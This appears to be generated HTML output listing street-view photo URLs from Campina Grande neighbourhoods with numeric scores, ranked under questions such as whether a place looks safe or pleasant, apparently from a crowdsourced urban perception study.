<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Sebastiao_Vieira_da_Silva__1273__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Sebastiao_Vieira_da_Silva__1273__180.jpg 1505.33845104</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Severino_Pimentel__321__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Severino_Pimentel__321__0.jpg 1504.09351698</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Espirito_Santo__1288__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Espirito_Santo__1288__180.jpg 1502.80006077</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Sergipe__1337_0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Sergipe__1337_0.jpg 1499.82090871</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Espirito_Santo__1288__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Espirito_Santo__1288__0.jpg 1499.16611462</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Odon_Bezerra__147_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Odon_Bezerra__147_90.jpg 1498.83015025</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Odon_Bezerra__306_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Odon_Bezerra__306_270.jpg 1497.918175</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Doutor_Severino_Cruz__411__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Doutor_Severino_Cruz__411__270.jpg 1497.57897816</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Odon_Bezerra__147_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Odon_Bezerra__147_270.jpg 1496.07003845</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha__235_0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha__235_0.jpg 1494.02405005</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__210__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__210__180.jpg 1493.48322533</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Avenida_Assis_Chateaubriand__1334__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Avenida_Assis_Chateaubriand__1334__180.jpg 1492.51318724</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Aluisio_Cunha_Linha__50__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Aluisio_Cunha_Linha__50__90.jpg 1491.25418388</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Santa_Catarina__1231__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Santa_Catarina__1231__0.jpg 1489.96284723</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Padre_Pedro_Serrao__207__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Padre_Pedro_Serrao__207__270.jpg 1489.91096211</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Elias_Aforas__202_180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Elias_Aforas__202_180.jpg 1489.45486764</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Felix_Araujo__48__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Felix_Araujo__48__270.jpg 1487.86013085</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Aluisio_Cunha_Linha__50__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Aluisio_Cunha_Linha__50__270.jpg 1487.6757284</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Odon_Bezerra__388__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Odon_Bezerra__388__90.jpg 1487.31307157</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Elias_Aforas__202_0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Elias_Aforas__202_0.jpg 1486.85227701</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Odon_Bezerra__306_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Odon_Bezerra__306_90.jpg 1485.62569492</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Vigario_Calixto__1201_0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Vigario_Calixto__1201_0.jpg 1485.45563529</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Riachuelo__930__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Riachuelo__930__180.jpg 1484.20694939</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Coronel_Salvino_Figueiredo__251_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Coronel_Salvino_Figueiredo__251_90.jpg 1482.09860577</td>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Dom_Pedro_II__119_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Dom_Pedro_II__119_270.jpg 1481.65649718</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Augusto_Severo__71_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Augusto_Severo__71_90.jpg 1480.98209714</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Odon_Bezerra__388__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Odon_Bezerra__388__270.jpg 1477.65561816</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Joao_da_Mata__490_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Joao_da_Mata__490_270.jpg 1475.98456788</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Inacio_Marques_da_Silva__434_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Inacio_Marques_da_Silva__434_90.jpg 1474.00936561</td>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__271__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__271__270.jpg 1472.08918144</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Padre_Pedro_Serrao__336__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Padre_Pedro_Serrao__336__90.jpg 1472.03545295</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Pedro_Alvares_Cabral__129_180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Pedro_Alvares_Cabral__129_180.jpg 1466.54132674</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Santa_Catarina__1231__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Santa_Catarina__1231__180.jpg 1462.02132927</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Capitao_Joao_de_Sa__45__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Capitao_Joao_de_Sa__45__0.jpg 1461.41044128</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Riachuelo__455__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Riachuelo__455__0.jpg 1460.16953272</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Felix_Araujo__132__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Felix_Araujo__132__270.jpg 1457.55180438</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Avenida_Assis_Chateaubriand__1334__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Avenida_Assis_Chateaubriand__1334__0.jpg 1456.12380582</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Dom_Pedro_II__119_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Dom_Pedro_II__119_90.jpg 1455.73212414</td>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__271__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__271__90.jpg 1455.62741892</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Joao_da_Mata__490_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Joao_da_Mata__490_90.jpg 1450.51684005</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Augusto_Severo__71_0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Augusto_Severo__71_0.jpg 1446.03304647</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha__68__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha__68__270.jpg 1444.5536184</td>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__395__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__395__270.jpg 1444.22043782</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Felix_Araujo__48__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Felix_Araujo__48__90.jpg 1439.69801884</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Manoel_P._de_Araujo__150_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Manoel_P._de_Araujo__150_270.jpg 1437.87716645</td>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__210__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__210__0.jpg 1434.90126194</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Edesio_Silva__602__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Edesio_Silva__602__180.jpg 1431.65472669</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Capitao_Joao_de_Sa__45__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Capitao_Joao_de_Sa__45__180.jpg 1428.36994025</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Pedro_Alvares_Cabral__129_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Pedro_Alvares_Cabral__129_90.jpg 1422.73512641</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Felix_Araujo__132__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Felix_Araujo__132__90.jpg 1422.20296249</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Cristina_Procopio_da_Silva__62__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Cristina_Procopio_da_Silva__62__270.jpg 1421.18765569</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Sergipe__1337_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Sergipe__1337_90.jpg 1417.83657245</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Manoel_P._de_Araujo__150_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Manoel_P._de_Araujo__150_90.jpg 1414.76807632</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Manoel_P._de_Araujo__370_0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Manoel_P._de_Araujo__370_0.jpg 1411.34385994</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Manoel_P._de_Araujo__370_180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Manoel_P._de_Araujo__370_180.jpg 1396.17700989</td>
</tr>
<tr>
</tr>
</table><h2>seguro?</h2><table>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Doutor_Severino_Cruz__411__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Doutor_Severino_Cruz__411__270.jpg 1585.20998492</td>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Barao_Rio_Branco__141_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Barao_Rio_Branco__141_270.jpg 1582.38159577</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha_-_Catole__Campina_Grande__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha_-_Catole__Campina_Grande__90.jpg 1578.32662026</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha_-_Catole__Campina_Grande__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha_-_Catole__Campina_Grande__270.jpg 1577.78185783</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Quebra_Quilos__399__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Quebra_Quilos__399__270.jpg 1571.33580737</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Odon_Bezerra__147_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Odon_Bezerra__147_270.jpg 1570.38973534</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Doutor_Severino_Cruz__411__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Doutor_Severino_Cruz__411__90.jpg 1569.79642564</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Quebra_Quilos__399__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Quebra_Quilos__399__90.jpg 1568.77440943</td>
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<td>https://contribua.org/bairros/oeste/liberdade/Avenida_Assis_Chateaubriand__1334__180.jpg 1466.24679637</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Pedro_Alvares_Cabral__129_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Pedro_Alvares_Cabral__129_90.jpg 1465.95623886</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Augusto_Severo__71_0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Augusto_Severo__71_0.jpg 1465.27686705</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Deputado_Ascendino_Moura__101__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Deputado_Ascendino_Moura__101__90.jpg 1464.66622334</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Elias_Aforas__202_0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Elias_Aforas__202_0.jpg 1463.0690989</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Padre_Pedro_Serrao__336__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Padre_Pedro_Serrao__336__90.jpg 1462.94883296</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Espirito_Santo__1288__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Espirito_Santo__1288__180.jpg 1457.16149503</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Sergipe__1337_0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Sergipe__1337_0.jpg 1454.61896735</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha__235_0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha__235_0.jpg 1454.24779483</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Elias_Aforas__202_180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Elias_Aforas__202_180.jpg 1451.1393284</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Riachuelo__930__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Riachuelo__930__180.jpg 1450.36110614</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Aluisio_Cunha_Linha__50__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Aluisio_Cunha_Linha__50__270.jpg 1445.97151662</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Manoel_P._de_Araujo__370_0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Manoel_P._de_Araujo__370_0.jpg 1445.81083534</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Santa_Catarina__1231__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Santa_Catarina__1231__0.jpg 1442.0309772</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Inacio_Marques_da_Silva__434_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Inacio_Marques_da_Silva__434_90.jpg 1434.78376941</td>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__210__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__210__0.jpg 1430.4265861</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Sebastiao_Vieira_da_Silva__1273__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Sebastiao_Vieira_da_Silva__1273__0.jpg 1423.33674273</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Riachuelo__455__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Riachuelo__455__0.jpg 1416.33796997</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha__68__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha__68__270.jpg 1409.96038371</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Manoel_P._de_Araujo__370_180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Manoel_P._de_Araujo__370_180.jpg 1406.39847458</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Edesio_Silva__602__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Edesio_Silva__602__180.jpg 1402.47801252</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Padre_Pedro_Serrao__207__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Padre_Pedro_Serrao__207__270.jpg 1401.68108645</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Santa_Catarina__1231__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Santa_Catarina__1231__180.jpg 1396.64099795</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Cristina_Procopio_da_Silva__62__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Cristina_Procopio_da_Silva__62__270.jpg 1381.46929662</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Sergipe__1337_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Sergipe__1337_90.jpg 1348.83245012</td>
</tr>
<tr>
</tr>
</table></body>
<file_sep><body style="overflow:scroll">
<h2>agrad%C3%A1vel?</h2><table>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Doutor_Severino_Cruz__411__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Doutor_Severino_Cruz__411__90.jpg 6.42757941119</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Honorio_de_Melo__240__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Honorio_de_Melo__240__90.jpg 6.10655649487</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Inacio_Marques_da_Silva__434_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Inacio_Marques_da_Silva__434_270.jpg 6.0731080456</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Honorio_de_Melo__240__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Honorio_de_Melo__240__270.jpg 6.03429002691</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Olegario_Mariano__139_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Olegario_Mariano__139_270.jpg 5.8391552101</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Otacilio_Nepomuceno__76_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Otacilio_Nepomuceno__76_90.jpg 5.82285372521</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Quebra_Quilos__399__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Quebra_Quilos__399__270.jpg 5.7757405042</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Joao_Francisco_Mota__64__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Joao_Francisco_Mota__64__90.jpg 5.75094381684</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Luisa_Bezerra_Mota__246_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Luisa_Bezerra_Mota__246_270.jpg 5.71548532334</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Barao_Rio_Branco__141_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Barao_Rio_Branco__141_270.jpg 5.63467196822</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha_-_Catole__Campina_Grande__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha_-_Catole__Campina_Grande__90.jpg 5.55242270225</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Avenida_Prefeito_Severino_Bezerra_Cabral__218_0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Avenida_Prefeito_Severino_Bezerra_Cabral__218_0.jpg 5.53586625139</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Edesio_Silva__602__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Edesio_Silva__602__0.jpg 5.53115112304</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Luisa_Bezerra_Mota__246_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Luisa_Bezerra_Mota__246_90.jpg 5.52432932584</td>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Presidente_Joao_Pessoa__128__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Presidente_Joao_Pessoa__128__90.jpg 5.50269063755</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Acre__635_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Acre__635_90.jpg 5.46647706294</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Severino_Pimentel__321__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Severino_Pimentel__321__180.jpg 5.43400894039</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Elias_Aforas__67__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Elias_Aforas__67__180.jpg 5.42328148426</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Dom_Pedro_II__500_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Dom_Pedro_II__500_90.jpg 5.42096857745</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Coronel_Salvino_Figueiredo__251_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Coronel_Salvino_Figueiredo__251_270.jpg 5.40406638111</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha_-_Catole__Campina_Grande__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha_-_Catole__Campina_Grande__270.jpg 5.39644111332</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Severino_Pimentel__439__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Severino_Pimentel__439__180.jpg 5.29491248362</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Cristina_Procopio_da_Silva__62__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Cristina_Procopio_da_Silva__62__90.jpg 5.29338619858</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Otacilio_Nepomuceno__76_0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Otacilio_Nepomuceno__76_0.jpg 5.2417630819</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Joao_Francisco_Mota__64__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Joao_Francisco_Mota__64__270.jpg 5.22209750258</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Olegario_Mariano__139_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Olegario_Mariano__139_90.jpg 5.21693275814</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Riachuelo__847__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Riachuelo__847__180.jpg 5.21315603153</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Padre_Pedro_Serrao__336__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Padre_Pedro_Serrao__336__270.jpg 5.20908796877</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Riachuelo__930__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Riachuelo__930__0.jpg 5.20192030716</td>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Barao_Rio_Branco__141_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Barao_Rio_Branco__141_90.jpg 5.17541454217</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__395__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__395__90.jpg 5.17537987633</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Severino_Pimentel__439__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Severino_Pimentel__439__0.jpg 5.15539594141</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Olegario_Mariano__139_180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Olegario_Mariano__139_180.jpg 5.15155912597</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Espirito_Santo__1288__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Espirito_Santo__1288__0.jpg 5.12719158856</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Acre__635_270.jpg" width="400" height="300"></td>
